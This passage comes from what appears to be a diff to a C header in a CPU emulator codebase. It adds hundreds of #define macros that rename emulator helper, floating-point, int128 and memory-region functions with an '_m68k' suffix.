helper_ldb_mmu_m68k +#define helper_ldl_cmmu helper_ldl_cmmu_m68k +#define helper_ldl_mmu helper_ldl_mmu_m68k +#define helper_ldq_cmmu helper_ldq_cmmu_m68k +#define helper_ldq_mmu helper_ldq_mmu_m68k +#define helper_ldw_cmmu helper_ldw_cmmu_m68k +#define helper_ldw_mmu helper_ldw_mmu_m68k +#define helper_le_ldl_cmmu helper_le_ldl_cmmu_m68k +#define helper_le_ldq_cmmu helper_le_ldq_cmmu_m68k +#define helper_le_ldq_mmu helper_le_ldq_mmu_m68k +#define helper_le_ldsl_mmu helper_le_ldsl_mmu_m68k +#define helper_le_ldsw_mmu helper_le_ldsw_mmu_m68k +#define helper_le_ldul_mmu helper_le_ldul_mmu_m68k +#define helper_le_lduw_mmu helper_le_lduw_mmu_m68k +#define helper_le_ldw_cmmu helper_le_ldw_cmmu_m68k +#define helper_le_stl_mmu helper_le_stl_mmu_m68k +#define helper_le_stq_mmu helper_le_stq_mmu_m68k +#define helper_le_stw_mmu helper_le_stw_mmu_m68k +#define helper_msr_i_pstate helper_msr_i_pstate_m68k +#define helper_neon_abd_f32 helper_neon_abd_f32_m68k +#define helper_neon_abdl_s16 helper_neon_abdl_s16_m68k +#define helper_neon_abdl_s32 helper_neon_abdl_s32_m68k +#define helper_neon_abdl_s64 helper_neon_abdl_s64_m68k +#define helper_neon_abdl_u16 helper_neon_abdl_u16_m68k +#define helper_neon_abdl_u32 helper_neon_abdl_u32_m68k +#define helper_neon_abdl_u64 helper_neon_abdl_u64_m68k +#define helper_neon_abd_s16 helper_neon_abd_s16_m68k +#define helper_neon_abd_s32 helper_neon_abd_s32_m68k +#define helper_neon_abd_s8 helper_neon_abd_s8_m68k +#define helper_neon_abd_u16 helper_neon_abd_u16_m68k +#define helper_neon_abd_u32 helper_neon_abd_u32_m68k +#define helper_neon_abd_u8 helper_neon_abd_u8_m68k +#define helper_neon_abs_s16 helper_neon_abs_s16_m68k +#define helper_neon_abs_s8 helper_neon_abs_s8_m68k +#define helper_neon_acge_f32 helper_neon_acge_f32_m68k +#define helper_neon_acge_f64 helper_neon_acge_f64_m68k +#define helper_neon_acgt_f32 helper_neon_acgt_f32_m68k +#define helper_neon_acgt_f64 helper_neon_acgt_f64_m68k +#define helper_neon_addl_saturate_s32 helper_neon_addl_saturate_s32_m68k +#define helper_neon_addl_saturate_s64 helper_neon_addl_saturate_s64_m68k +#define helper_neon_addl_u16 helper_neon_addl_u16_m68k +#define helper_neon_addl_u32 helper_neon_addl_u32_m68k +#define helper_neon_add_u16 helper_neon_add_u16_m68k +#define helper_neon_add_u8 helper_neon_add_u8_m68k +#define helper_neon_ceq_f32 helper_neon_ceq_f32_m68k +#define helper_neon_ceq_u16 helper_neon_ceq_u16_m68k +#define helper_neon_ceq_u32 helper_neon_ceq_u32_m68k +#define helper_neon_ceq_u8 helper_neon_ceq_u8_m68k +#define helper_neon_cge_f32 helper_neon_cge_f32_m68k +#define helper_neon_cge_s16 helper_neon_cge_s16_m68k +#define helper_neon_cge_s32 helper_neon_cge_s32_m68k +#define helper_neon_cge_s8 helper_neon_cge_s8_m68k +#define helper_neon_cge_u16 helper_neon_cge_u16_m68k +#define helper_neon_cge_u32 helper_neon_cge_u32_m68k +#define helper_neon_cge_u8 helper_neon_cge_u8_m68k +#define helper_neon_cgt_f32 helper_neon_cgt_f32_m68k +#define helper_neon_cgt_s16 helper_neon_cgt_s16_m68k +#define helper_neon_cgt_s32 helper_neon_cgt_s32_m68k +#define helper_neon_cgt_s8 helper_neon_cgt_s8_m68k +#define helper_neon_cgt_u16 helper_neon_cgt_u16_m68k +#define helper_neon_cgt_u32 helper_neon_cgt_u32_m68k +#define helper_neon_cgt_u8 helper_neon_cgt_u8_m68k +#define helper_neon_cls_s16 helper_neon_cls_s16_m68k +#define helper_neon_cls_s32 helper_neon_cls_s32_m68k +#define helper_neon_cls_s8 helper_neon_cls_s8_m68k +#define helper_neon_clz_u16 helper_neon_clz_u16_m68k +#define helper_neon_clz_u8 helper_neon_clz_u8_m68k +#define helper_neon_cnt_u8 helper_neon_cnt_u8_m68k +#define helper_neon_fcvt_f16_to_f32 helper_neon_fcvt_f16_to_f32_m68k +#define helper_neon_fcvt_f32_to_f16 helper_neon_fcvt_f32_to_f16_m68k +#define helper_neon_hadd_s16 helper_neon_hadd_s16_m68k +#define helper_neon_hadd_s32 helper_neon_hadd_s32_m68k +#define helper_neon_hadd_s8 helper_neon_hadd_s8_m68k +#define helper_neon_hadd_u16 helper_neon_hadd_u16_m68k +#define helper_neon_hadd_u32 helper_neon_hadd_u32_m68k +#define helper_neon_hadd_u8 helper_neon_hadd_u8_m68k +#define helper_neon_hsub_s16 helper_neon_hsub_s16_m68k +#define helper_neon_hsub_s32 helper_neon_hsub_s32_m68k +#define helper_neon_hsub_s8 helper_neon_hsub_s8_m68k +#define helper_neon_hsub_u16 helper_neon_hsub_u16_m68k +#define helper_neon_hsub_u32 helper_neon_hsub_u32_m68k +#define helper_neon_hsub_u8 helper_neon_hsub_u8_m68k +#define helper_neon_max_s16 helper_neon_max_s16_m68k +#define helper_neon_max_s32 helper_neon_max_s32_m68k +#define helper_neon_max_s8 helper_neon_max_s8_m68k +#define helper_neon_max_u16 helper_neon_max_u16_m68k +#define helper_neon_max_u32 helper_neon_max_u32_m68k +#define helper_neon_max_u8 helper_neon_max_u8_m68k +#define helper_neon_min_s16 helper_neon_min_s16_m68k +#define helper_neon_min_s32 helper_neon_min_s32_m68k +#define helper_neon_min_s8 helper_neon_min_s8_m68k +#define helper_neon_min_u16 helper_neon_min_u16_m68k +#define helper_neon_min_u32 helper_neon_min_u32_m68k +#define helper_neon_min_u8 helper_neon_min_u8_m68k +#define helper_neon_mull_p8 helper_neon_mull_p8_m68k +#define helper_neon_mull_s16 helper_neon_mull_s16_m68k +#define helper_neon_mull_s8 helper_neon_mull_s8_m68k +#define helper_neon_mull_u16 helper_neon_mull_u16_m68k +#define helper_neon_mull_u8 helper_neon_mull_u8_m68k +#define helper_neon_mul_p8 helper_neon_mul_p8_m68k +#define helper_neon_mul_u16 helper_neon_mul_u16_m68k +#define helper_neon_mul_u8 helper_neon_mul_u8_m68k +#define helper_neon_narrow_high_u16 helper_neon_narrow_high_u16_m68k +#define helper_neon_narrow_high_u8 helper_neon_narrow_high_u8_m68k +#define helper_neon_narrow_round_high_u16 helper_neon_narrow_round_high_u16_m68k +#define helper_neon_narrow_round_high_u8 helper_neon_narrow_round_high_u8_m68k +#define helper_neon_narrow_sat_s16 helper_neon_narrow_sat_s16_m68k +#define helper_neon_narrow_sat_s32 helper_neon_narrow_sat_s32_m68k +#define helper_neon_narrow_sat_s8 helper_neon_narrow_sat_s8_m68k +#define helper_neon_narrow_sat_u16 helper_neon_narrow_sat_u16_m68k +#define helper_neon_narrow_sat_u32 helper_neon_narrow_sat_u32_m68k +#define helper_neon_narrow_sat_u8 helper_neon_narrow_sat_u8_m68k +#define helper_neon_narrow_u16 helper_neon_narrow_u16_m68k +#define helper_neon_narrow_u8 helper_neon_narrow_u8_m68k +#define helper_neon_negl_u16 helper_neon_negl_u16_m68k +#define helper_neon_negl_u32 helper_neon_negl_u32_m68k +#define helper_neon_paddl_u16 helper_neon_paddl_u16_m68k +#define helper_neon_paddl_u32 helper_neon_paddl_u32_m68k +#define helper_neon_padd_u16 helper_neon_padd_u16_m68k +#define helper_neon_padd_u8 helper_neon_padd_u8_m68k +#define helper_neon_pmax_s16 helper_neon_pmax_s16_m68k +#define helper_neon_pmax_s8 helper_neon_pmax_s8_m68k +#define helper_neon_pmax_u16 helper_neon_pmax_u16_m68k +#define helper_neon_pmax_u8 helper_neon_pmax_u8_m68k +#define helper_neon_pmin_s16 helper_neon_pmin_s16_m68k +#define helper_neon_pmin_s8 helper_neon_pmin_s8_m68k +#define helper_neon_pmin_u16 helper_neon_pmin_u16_m68k +#define helper_neon_pmin_u8 helper_neon_pmin_u8_m68k +#define helper_neon_pmull_64_hi helper_neon_pmull_64_hi_m68k +#define helper_neon_pmull_64_lo helper_neon_pmull_64_lo_m68k +#define helper_neon_qabs_s16 helper_neon_qabs_s16_m68k +#define helper_neon_qabs_s32 helper_neon_qabs_s32_m68k +#define helper_neon_qabs_s64 helper_neon_qabs_s64_m68k +#define helper_neon_qabs_s8 helper_neon_qabs_s8_m68k +#define helper_neon_qadd_s16 helper_neon_qadd_s16_m68k +#define helper_neon_qadd_s32 helper_neon_qadd_s32_m68k +#define helper_neon_qadd_s64 helper_neon_qadd_s64_m68k +#define helper_neon_qadd_s8 helper_neon_qadd_s8_m68k +#define helper_neon_qadd_u16 helper_neon_qadd_u16_m68k +#define helper_neon_qadd_u32 helper_neon_qadd_u32_m68k +#define helper_neon_qadd_u64 helper_neon_qadd_u64_m68k +#define helper_neon_qadd_u8 helper_neon_qadd_u8_m68k +#define helper_neon_qdmulh_s16 helper_neon_qdmulh_s16_m68k +#define helper_neon_qdmulh_s32 helper_neon_qdmulh_s32_m68k +#define helper_neon_qneg_s16 helper_neon_qneg_s16_m68k +#define helper_neon_qneg_s32 helper_neon_qneg_s32_m68k +#define helper_neon_qneg_s64 helper_neon_qneg_s64_m68k +#define helper_neon_qneg_s8 helper_neon_qneg_s8_m68k +#define helper_neon_qrdmulh_s16 helper_neon_qrdmulh_s16_m68k +#define helper_neon_qrdmulh_s32 helper_neon_qrdmulh_s32_m68k +#define helper_neon_qrshl_s16 helper_neon_qrshl_s16_m68k +#define helper_neon_qrshl_s32 helper_neon_qrshl_s32_m68k +#define helper_neon_qrshl_s64 helper_neon_qrshl_s64_m68k +#define helper_neon_qrshl_s8 helper_neon_qrshl_s8_m68k +#define helper_neon_qrshl_u16 helper_neon_qrshl_u16_m68k +#define helper_neon_qrshl_u32 helper_neon_qrshl_u32_m68k +#define helper_neon_qrshl_u64 helper_neon_qrshl_u64_m68k +#define helper_neon_qrshl_u8 helper_neon_qrshl_u8_m68k +#define helper_neon_qshl_s16 helper_neon_qshl_s16_m68k +#define helper_neon_qshl_s32 helper_neon_qshl_s32_m68k +#define helper_neon_qshl_s64 helper_neon_qshl_s64_m68k +#define helper_neon_qshl_s8 helper_neon_qshl_s8_m68k +#define helper_neon_qshl_u16 helper_neon_qshl_u16_m68k +#define helper_neon_qshl_u32 helper_neon_qshl_u32_m68k +#define helper_neon_qshl_u64 helper_neon_qshl_u64_m68k +#define helper_neon_qshl_u8 helper_neon_qshl_u8_m68k +#define helper_neon_qshlu_s16 helper_neon_qshlu_s16_m68k +#define helper_neon_qshlu_s32 helper_neon_qshlu_s32_m68k +#define helper_neon_qshlu_s64 helper_neon_qshlu_s64_m68k +#define helper_neon_qshlu_s8 helper_neon_qshlu_s8_m68k +#define helper_neon_qsub_s16 helper_neon_qsub_s16_m68k +#define helper_neon_qsub_s32 helper_neon_qsub_s32_m68k +#define helper_neon_qsub_s64 helper_neon_qsub_s64_m68k +#define helper_neon_qsub_s8 helper_neon_qsub_s8_m68k +#define helper_neon_qsub_u16 helper_neon_qsub_u16_m68k +#define helper_neon_qsub_u32 helper_neon_qsub_u32_m68k +#define helper_neon_qsub_u64 helper_neon_qsub_u64_m68k +#define helper_neon_qsub_u8 helper_neon_qsub_u8_m68k +#define helper_neon_qunzip16 helper_neon_qunzip16_m68k +#define helper_neon_qunzip32 helper_neon_qunzip32_m68k +#define helper_neon_qunzip8 helper_neon_qunzip8_m68k +#define helper_neon_qzip16 helper_neon_qzip16_m68k +#define helper_neon_qzip32 helper_neon_qzip32_m68k +#define helper_neon_qzip8 helper_neon_qzip8_m68k +#define helper_neon_rbit_u8 helper_neon_rbit_u8_m68k +#define helper_neon_rhadd_s16 helper_neon_rhadd_s16_m68k +#define helper_neon_rhadd_s32 helper_neon_rhadd_s32_m68k +#define helper_neon_rhadd_s8 helper_neon_rhadd_s8_m68k +#define helper_neon_rhadd_u16 helper_neon_rhadd_u16_m68k +#define helper_neon_rhadd_u32 helper_neon_rhadd_u32_m68k +#define helper_neon_rhadd_u8 helper_neon_rhadd_u8_m68k +#define helper_neon_rshl_s16 helper_neon_rshl_s16_m68k +#define helper_neon_rshl_s32 helper_neon_rshl_s32_m68k +#define helper_neon_rshl_s64 helper_neon_rshl_s64_m68k +#define helper_neon_rshl_s8 helper_neon_rshl_s8_m68k +#define helper_neon_rshl_u16 helper_neon_rshl_u16_m68k +#define helper_neon_rshl_u32 helper_neon_rshl_u32_m68k +#define helper_neon_rshl_u64 helper_neon_rshl_u64_m68k +#define helper_neon_rshl_u8 helper_neon_rshl_u8_m68k +#define helper_neon_shl_s16 helper_neon_shl_s16_m68k +#define helper_neon_shl_s32 helper_neon_shl_s32_m68k +#define helper_neon_shl_s64 helper_neon_shl_s64_m68k +#define helper_neon_shl_s8 helper_neon_shl_s8_m68k +#define helper_neon_shl_u16 helper_neon_shl_u16_m68k +#define helper_neon_shl_u32 helper_neon_shl_u32_m68k +#define helper_neon_shl_u64 helper_neon_shl_u64_m68k +#define helper_neon_shl_u8 helper_neon_shl_u8_m68k +#define helper_neon_sqadd_u16 helper_neon_sqadd_u16_m68k +#define helper_neon_sqadd_u32 helper_neon_sqadd_u32_m68k +#define helper_neon_sqadd_u64 helper_neon_sqadd_u64_m68k +#define helper_neon_sqadd_u8 helper_neon_sqadd_u8_m68k +#define helper_neon_subl_u16 helper_neon_subl_u16_m68k +#define helper_neon_subl_u32 helper_neon_subl_u32_m68k +#define helper_neon_sub_u16 helper_neon_sub_u16_m68k +#define helper_neon_sub_u8 helper_neon_sub_u8_m68k +#define helper_neon_tbl helper_neon_tbl_m68k +#define helper_neon_tst_u16 helper_neon_tst_u16_m68k +#define helper_neon_tst_u32 helper_neon_tst_u32_m68k +#define helper_neon_tst_u8 helper_neon_tst_u8_m68k +#define helper_neon_unarrow_sat16 helper_neon_unarrow_sat16_m68k +#define helper_neon_unarrow_sat32 helper_neon_unarrow_sat32_m68k +#define helper_neon_unarrow_sat8 helper_neon_unarrow_sat8_m68k +#define helper_neon_unzip16 helper_neon_unzip16_m68k +#define helper_neon_unzip8 helper_neon_unzip8_m68k +#define helper_neon_uqadd_s16 helper_neon_uqadd_s16_m68k +#define helper_neon_uqadd_s32 helper_neon_uqadd_s32_m68k +#define helper_neon_uqadd_s64 helper_neon_uqadd_s64_m68k +#define helper_neon_uqadd_s8 helper_neon_uqadd_s8_m68k +#define helper_neon_widen_s16 helper_neon_widen_s16_m68k +#define helper_neon_widen_s8 helper_neon_widen_s8_m68k +#define helper_neon_widen_u16 helper_neon_widen_u16_m68k +#define helper_neon_widen_u8 helper_neon_widen_u8_m68k +#define helper_neon_zip16 helper_neon_zip16_m68k +#define helper_neon_zip8 helper_neon_zip8_m68k +#define helper_pre_hvc helper_pre_hvc_m68k +#define helper_pre_smc helper_pre_smc_m68k +#define helper_qadd16 helper_qadd16_m68k +#define helper_qadd8 helper_qadd8_m68k +#define helper_qaddsubx helper_qaddsubx_m68k +#define helper_qsub16 helper_qsub16_m68k +#define helper_qsub8 helper_qsub8_m68k +#define helper_qsubaddx helper_qsubaddx_m68k +#define helper_rbit helper_rbit_m68k +#define helper_recpe_f32 helper_recpe_f32_m68k +#define helper_recpe_f64 helper_recpe_f64_m68k +#define helper_recpe_u32 helper_recpe_u32_m68k +#define helper_recps_f32 helper_recps_f32_m68k +#define helper_ret_ldb_cmmu helper_ret_ldb_cmmu_m68k +#define helper_ret_ldsb_mmu helper_ret_ldsb_mmu_m68k +#define helper_ret_ldub_mmu helper_ret_ldub_mmu_m68k +#define helper_ret_stb_mmu helper_ret_stb_mmu_m68k +#define helper_rintd helper_rintd_m68k +#define helper_rintd_exact helper_rintd_exact_m68k +#define helper_rints helper_rints_m68k +#define helper_rints_exact helper_rints_exact_m68k +#define helper_ror_cc helper_ror_cc_m68k +#define helper_rsqrte_f32 helper_rsqrte_f32_m68k +#define helper_rsqrte_f64 helper_rsqrte_f64_m68k +#define helper_rsqrte_u32 helper_rsqrte_u32_m68k +#define helper_rsqrts_f32 helper_rsqrts_f32_m68k +#define helper_sadd16 helper_sadd16_m68k +#define helper_sadd8 helper_sadd8_m68k +#define helper_saddsubx helper_saddsubx_m68k +#define helper_sar_cc helper_sar_cc_m68k +#define helper_sdiv helper_sdiv_m68k +#define helper_sel_flags helper_sel_flags_m68k +#define helper_set_cp_reg helper_set_cp_reg_m68k +#define helper_set_cp_reg64 helper_set_cp_reg64_m68k +#define helper_set_neon_rmode helper_set_neon_rmode_m68k +#define helper_set_r13_banked helper_set_r13_banked_m68k +#define helper_set_rmode helper_set_rmode_m68k +#define helper_set_user_reg helper_set_user_reg_m68k +#define helper_shadd16 helper_shadd16_m68k +#define helper_shadd8 helper_shadd8_m68k +#define helper_shaddsubx helper_shaddsubx_m68k +#define helper_shl_cc helper_shl_cc_m68k +#define helper_shr_cc helper_shr_cc_m68k +#define helper_shsub16 helper_shsub16_m68k +#define helper_shsub8 helper_shsub8_m68k +#define helper_shsubaddx helper_shsubaddx_m68k +#define helper_ssat helper_ssat_m68k +#define helper_ssat16 helper_ssat16_m68k +#define helper_ssub16 helper_ssub16_m68k +#define helper_ssub8 helper_ssub8_m68k +#define helper_ssubaddx helper_ssubaddx_m68k +#define helper_stb_mmu helper_stb_mmu_m68k +#define helper_stl_mmu helper_stl_mmu_m68k +#define helper_stq_mmu helper_stq_mmu_m68k +#define helper_stw_mmu helper_stw_mmu_m68k +#define helper_sub_saturate helper_sub_saturate_m68k +#define helper_sub_usaturate helper_sub_usaturate_m68k +#define helper_sxtb16 helper_sxtb16_m68k +#define helper_uadd16 helper_uadd16_m68k +#define helper_uadd8 helper_uadd8_m68k +#define helper_uaddsubx helper_uaddsubx_m68k +#define helper_udiv helper_udiv_m68k +#define helper_uhadd16 helper_uhadd16_m68k +#define helper_uhadd8 helper_uhadd8_m68k +#define helper_uhaddsubx helper_uhaddsubx_m68k +#define helper_uhsub16 helper_uhsub16_m68k +#define helper_uhsub8 helper_uhsub8_m68k +#define helper_uhsubaddx helper_uhsubaddx_m68k +#define helper_uqadd16 helper_uqadd16_m68k +#define helper_uqadd8 helper_uqadd8_m68k +#define helper_uqaddsubx helper_uqaddsubx_m68k +#define helper_uqsub16 helper_uqsub16_m68k +#define helper_uqsub8 helper_uqsub8_m68k +#define helper_uqsubaddx helper_uqsubaddx_m68k +#define helper_usad8 helper_usad8_m68k +#define helper_usat helper_usat_m68k +#define helper_usat16 helper_usat16_m68k +#define helper_usub16 helper_usub16_m68k +#define helper_usub8 helper_usub8_m68k +#define helper_usubaddx helper_usubaddx_m68k +#define helper_uxtb16 helper_uxtb16_m68k +#define helper_v7m_mrs helper_v7m_mrs_m68k +#define helper_v7m_msr helper_v7m_msr_m68k +#define helper_vfp_absd helper_vfp_absd_m68k +#define helper_vfp_abss helper_vfp_abss_m68k +#define helper_vfp_addd helper_vfp_addd_m68k +#define helper_vfp_adds helper_vfp_adds_m68k +#define helper_vfp_cmpd helper_vfp_cmpd_m68k +#define helper_vfp_cmped helper_vfp_cmped_m68k +#define helper_vfp_cmpes helper_vfp_cmpes_m68k +#define helper_vfp_cmps helper_vfp_cmps_m68k +#define helper_vfp_divd helper_vfp_divd_m68k +#define helper_vfp_divs helper_vfp_divs_m68k +#define helper_vfp_fcvtds helper_vfp_fcvtds_m68k +#define helper_vfp_fcvt_f16_to_f32 helper_vfp_fcvt_f16_to_f32_m68k +#define helper_vfp_fcvt_f16_to_f64 helper_vfp_fcvt_f16_to_f64_m68k +#define helper_vfp_fcvt_f32_to_f16 helper_vfp_fcvt_f32_to_f16_m68k +#define helper_vfp_fcvt_f64_to_f16 helper_vfp_fcvt_f64_to_f16_m68k +#define helper_vfp_fcvtsd helper_vfp_fcvtsd_m68k +#define helper_vfp_get_fpscr helper_vfp_get_fpscr_m68k +#define helper_vfp_maxd helper_vfp_maxd_m68k +#define helper_vfp_maxnumd helper_vfp_maxnumd_m68k +#define helper_vfp_maxnums helper_vfp_maxnums_m68k +#define helper_vfp_maxs helper_vfp_maxs_m68k +#define helper_vfp_mind helper_vfp_mind_m68k +#define helper_vfp_minnumd helper_vfp_minnumd_m68k +#define helper_vfp_minnums helper_vfp_minnums_m68k +#define helper_vfp_mins helper_vfp_mins_m68k +#define helper_vfp_muladdd helper_vfp_muladdd_m68k +#define helper_vfp_muladds helper_vfp_muladds_m68k +#define helper_vfp_muld helper_vfp_muld_m68k +#define helper_vfp_muls helper_vfp_muls_m68k +#define helper_vfp_negd helper_vfp_negd_m68k +#define helper_vfp_negs helper_vfp_negs_m68k +#define helper_vfp_set_fpscr helper_vfp_set_fpscr_m68k +#define helper_vfp_shtod helper_vfp_shtod_m68k +#define helper_vfp_shtos helper_vfp_shtos_m68k +#define helper_vfp_sitod helper_vfp_sitod_m68k +#define helper_vfp_sitos helper_vfp_sitos_m68k +#define helper_vfp_sltod helper_vfp_sltod_m68k +#define helper_vfp_sltos helper_vfp_sltos_m68k +#define helper_vfp_sqrtd helper_vfp_sqrtd_m68k +#define helper_vfp_sqrts helper_vfp_sqrts_m68k +#define helper_vfp_sqtod helper_vfp_sqtod_m68k +#define helper_vfp_sqtos helper_vfp_sqtos_m68k +#define helper_vfp_subd helper_vfp_subd_m68k +#define helper_vfp_subs helper_vfp_subs_m68k +#define helper_vfp_toshd helper_vfp_toshd_m68k +#define helper_vfp_toshd_round_to_zero helper_vfp_toshd_round_to_zero_m68k +#define helper_vfp_toshs helper_vfp_toshs_m68k +#define helper_vfp_toshs_round_to_zero helper_vfp_toshs_round_to_zero_m68k +#define helper_vfp_tosid helper_vfp_tosid_m68k +#define helper_vfp_tosis helper_vfp_tosis_m68k +#define helper_vfp_tosizd helper_vfp_tosizd_m68k +#define helper_vfp_tosizs helper_vfp_tosizs_m68k +#define helper_vfp_tosld helper_vfp_tosld_m68k +#define helper_vfp_tosld_round_to_zero helper_vfp_tosld_round_to_zero_m68k +#define helper_vfp_tosls helper_vfp_tosls_m68k +#define helper_vfp_tosls_round_to_zero helper_vfp_tosls_round_to_zero_m68k +#define helper_vfp_tosqd helper_vfp_tosqd_m68k +#define helper_vfp_tosqs helper_vfp_tosqs_m68k +#define helper_vfp_touhd helper_vfp_touhd_m68k +#define helper_vfp_touhd_round_to_zero helper_vfp_touhd_round_to_zero_m68k +#define helper_vfp_touhs helper_vfp_touhs_m68k +#define helper_vfp_touhs_round_to_zero helper_vfp_touhs_round_to_zero_m68k +#define helper_vfp_touid helper_vfp_touid_m68k +#define helper_vfp_touis helper_vfp_touis_m68k +#define helper_vfp_touizd helper_vfp_touizd_m68k +#define helper_vfp_touizs helper_vfp_touizs_m68k +#define helper_vfp_tould helper_vfp_tould_m68k +#define helper_vfp_tould_round_to_zero helper_vfp_tould_round_to_zero_m68k +#define helper_vfp_touls helper_vfp_touls_m68k +#define helper_vfp_touls_round_to_zero helper_vfp_touls_round_to_zero_m68k +#define helper_vfp_touqd helper_vfp_touqd_m68k +#define helper_vfp_touqs helper_vfp_touqs_m68k +#define helper_vfp_uhtod helper_vfp_uhtod_m68k +#define helper_vfp_uhtos helper_vfp_uhtos_m68k +#define helper_vfp_uitod helper_vfp_uitod_m68k +#define helper_vfp_uitos helper_vfp_uitos_m68k +#define helper_vfp_ultod helper_vfp_ultod_m68k +#define helper_vfp_ultos helper_vfp_ultos_m68k +#define helper_vfp_uqtod helper_vfp_uqtod_m68k +#define helper_vfp_uqtos helper_vfp_uqtos_m68k +#define helper_wfe helper_wfe_m68k +#define helper_wfi helper_wfi_m68k +#define hex2decimal hex2decimal_m68k +#define hw_breakpoint_update hw_breakpoint_update_m68k +#define hw_breakpoint_update_all hw_breakpoint_update_all_m68k +#define hw_watchpoint_update hw_watchpoint_update_m68k +#define hw_watchpoint_update_all hw_watchpoint_update_all_m68k +#define _init _init_m68k +#define init_cpreg_list init_cpreg_list_m68k +#define init_lists init_lists_m68k +#define input_type_enum input_type_enum_m68k +#define int128_2_64 int128_2_64_m68k +#define int128_add int128_add_m68k +#define int128_addto int128_addto_m68k +#define int128_and int128_and_m68k +#define int128_eq int128_eq_m68k +#define int128_ge int128_ge_m68k +#define int128_get64 int128_get64_m68k +#define int128_gt int128_gt_m68k +#define int128_le int128_le_m68k +#define int128_lt int128_lt_m68k +#define int128_make64 int128_make64_m68k +#define int128_max int128_max_m68k +#define int128_min int128_min_m68k +#define int128_ne int128_ne_m68k +#define int128_neg int128_neg_m68k +#define int128_nz int128_nz_m68k +#define int128_rshift int128_rshift_m68k +#define int128_sub int128_sub_m68k +#define int128_subfrom int128_subfrom_m68k +#define int128_zero int128_zero_m68k +#define int16_to_float32 int16_to_float32_m68k +#define int16_to_float64 int16_to_float64_m68k +#define int32_to_float128 int32_to_float128_m68k +#define int32_to_float32 int32_to_float32_m68k +#define int32_to_float64 int32_to_float64_m68k +#define int32_to_floatx80 int32_to_floatx80_m68k +#define int64_to_float128 int64_to_float128_m68k +#define int64_to_float32 int64_to_float32_m68k +#define int64_to_float64 int64_to_float64_m68k +#define int64_to_floatx80 int64_to_floatx80_m68k +#define invalidate_and_set_dirty invalidate_and_set_dirty_m68k +#define invalidate_page_bitmap invalidate_page_bitmap_m68k +#define io_mem_read io_mem_read_m68k +#define io_mem_write io_mem_write_m68k +#define io_readb io_readb_m68k +#define io_readl io_readl_m68k +#define io_readq io_readq_m68k +#define io_readw io_readw_m68k +#define iotlb_to_region iotlb_to_region_m68k +#define io_writeb io_writeb_m68k +#define io_writel io_writel_m68k +#define io_writeq io_writeq_m68k +#define io_writew io_writew_m68k +#define is_a64 is_a64_m68k +#define is_help_option is_help_option_m68k +#define isr_read isr_read_m68k +#define is_valid_option_list is_valid_option_list_m68k +#define iwmmxt_load_creg iwmmxt_load_creg_m68k +#define iwmmxt_load_reg iwmmxt_load_reg_m68k +#define iwmmxt_store_creg iwmmxt_store_creg_m68k +#define iwmmxt_store_reg iwmmxt_store_reg_m68k +#define __jit_debug_descriptor __jit_debug_descriptor_m68k +#define __jit_debug_register_code __jit_debug_register_code_m68k +#define kvm_to_cpreg_id kvm_to_cpreg_id_m68k +#define last_ram_offset last_ram_offset_m68k +#define ldl_be_p ldl_be_p_m68k +#define ldl_be_phys ldl_be_phys_m68k +#define ldl_he_p ldl_he_p_m68k +#define ldl_le_p ldl_le_p_m68k +#define ldl_le_phys ldl_le_phys_m68k +#define ldl_phys ldl_phys_m68k +#define ldl_phys_internal ldl_phys_internal_m68k +#define ldq_be_p ldq_be_p_m68k +#define ldq_be_phys ldq_be_phys_m68k +#define ldq_he_p ldq_he_p_m68k +#define ldq_le_p ldq_le_p_m68k +#define ldq_le_phys ldq_le_phys_m68k +#define ldq_phys ldq_phys_m68k +#define ldq_phys_internal ldq_phys_internal_m68k +#define ldst_name ldst_name_m68k +#define ldub_p ldub_p_m68k +#define ldub_phys ldub_phys_m68k +#define lduw_be_p lduw_be_p_m68k +#define lduw_be_phys lduw_be_phys_m68k +#define lduw_he_p lduw_he_p_m68k +#define lduw_le_p lduw_le_p_m68k +#define lduw_le_phys lduw_le_phys_m68k +#define lduw_phys lduw_phys_m68k +#define lduw_phys_internal lduw_phys_internal_m68k +#define le128 le128_m68k +#define linked_bp_matches linked_bp_matches_m68k +#define listener_add_address_space listener_add_address_space_m68k +#define load_cpu_offset load_cpu_offset_m68k +#define load_reg load_reg_m68k +#define load_reg_var load_reg_var_m68k +#define log_cpu_state log_cpu_state_m68k +#define lpae_cp_reginfo lpae_cp_reginfo_m68k +#define lt128 lt128_m68k +#define machine_class_init machine_class_init_m68k +#define machine_finalize machine_finalize_m68k +#define machine_info machine_info_m68k +#define machine_initfn machine_initfn_m68k +#define machine_register_types machine_register_types_m68k +#define machvirt_init machvirt_init_m68k +#define machvirt_machine_init machvirt_machine_init_m68k +#define maj maj_m68k +#define mapping_conflict mapping_conflict_m68k +#define mapping_contiguous mapping_contiguous_m68k +#define mapping_have_same_region mapping_have_same_region_m68k +#define mapping_merge mapping_merge_m68k +#define mem_add mem_add_m68k +#define mem_begin mem_begin_m68k +#define mem_commit mem_commit_m68k +#define memory_access_is_direct memory_access_is_direct_m68k +#define memory_access_size memory_access_size_m68k +#define memory_init memory_init_m68k +#define memory_listener_match memory_listener_match_m68k +#define memory_listener_register memory_listener_register_m68k +#define memory_listener_unregister memory_listener_unregister_m68k +#define memory_map_init memory_map_init_m68k +#define memory_mapping_filter memory_mapping_filter_m68k +#define memory_mapping_list_add_mapping_sorted memory_mapping_list_add_mapping_sorted_m68k +#define memory_mapping_list_add_merge_sorted memory_mapping_list_add_merge_sorted_m68k +#define memory_mapping_list_free memory_mapping_list_free_m68k +#define memory_mapping_list_init memory_mapping_list_init_m68k +#define memory_region_access_valid memory_region_access_valid_m68k +#define memory_region_add_subregion memory_region_add_subregion_m68k +#define memory_region_add_subregion_common memory_region_add_subregion_common_m68k +#define memory_region_add_subregion_overlap memory_region_add_subregion_overlap_m68k +#define memory_region_big_endian memory_region_big_endian_m68k +#define memory_region_clear_pending memory_region_clear_pending_m68k +#define memory_region_del_subregion memory_region_del_subregion_m68k +#define memory_region_destructor_alias memory_region_destructor_alias_m68k +#define memory_region_destructor_none memory_region_destructor_none_m68k +#define memory_region_destructor_ram memory_region_destructor_ram_m68k +#define memory_region_destructor_ram_from_ptr memory_region_destructor_ram_from_ptr_m68k +#define memory_region_dispatch_read memory_region_dispatch_read_m68k +#define memory_region_dispatch_read1 memory_region_dispatch_read1_m68k +#define memory_region_dispatch_write memory_region_dispatch_write_m68k +#define memory_region_escape_name memory_region_escape_name_m68k +#define memory_region_finalize memory_region_finalize_m68k +#define memory_region_find memory_region_find_m68k +#define memory_region_get_addr memory_region_get_addr_m68k +#define memory_region_get_alignment memory_region_get_alignment_m68k +#define memory_region_get_container memory_region_get_container_m68k +#define memory_region_get_fd 